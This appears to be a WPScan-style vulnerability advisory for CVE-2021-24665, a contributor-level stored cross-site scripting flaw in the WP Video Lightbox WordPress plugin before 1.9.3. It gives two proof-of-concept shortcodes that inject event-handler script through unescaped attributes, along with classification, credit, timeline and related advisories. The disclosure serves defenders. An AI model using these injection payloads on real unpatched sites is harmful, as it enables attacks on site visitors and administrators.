WP Video Lightbox < 1.9.3 – Contributor+ Stored Cross-Site Scripting | CVE 2021-24665

Description

The plugin does not escape the attributes of its shortcodes, allowing users with a role as low as contributor to perform Cross-Site Scripting attacks

Proof of Concept

[video_lightbox_vimeo5 video_id='"onmouseover=alert(/XSS/) b="' width="640" height="480" anchor="Click here to open vimeo video"]

[video_lightbox_vimeo5 video_id="13562192" width="640" height="480" anchor='http"onerror=alert(/XSS/)//']

Affects Plugins

wp-video-lightbox

Fixed in 1.9.3

References

CVE

CVE-2021-24665

URL

https://www.fortiguard.com/zeroday/FG-VD-21-059

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

CVSS

6.8 (medium)

Miscellaneous

Original Researcher

Vishnupriya Ilango of Fortinet Fortiguard Labs

Submitter

Vishnupriya Ilango

Submitter website

https://www.fortiguard.com/zeroday

Verified

Yes

WPVDB ID

42a8947f-2ae5-4f12-bd3d-ab3716501df5

Timeline

Publicly Published

2021-08-23 (about 4 years ago)

Added

2021-08-23 (about 4 years ago)

Last Updated

2022-03-07 (about 3 years ago)

Other

Published

Title

Published

2021-11-30

Title

Video Conferencing with Zoom < 3.8.16 - Reflected Cross-Site Scripting

Published

2023-10-03

Title

Podcast Subscribe Buttons < 1.4.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

Published

2024-12-19

Title

Wishlist for WooCommerce: Multi Wishlists Per Customer < 3.1.3 - Reflected Cross-Site Scripting

Published

2024-04-22

Title

Image Slider < 1.1.127 - Authenticated (Editor+) Stored Cross-Site Scripting

Published

2025-02-24

Title

EZ InLinkz linkup <= 0.18 - Authenticated (Contributor+) Stored Cross-Site Scripting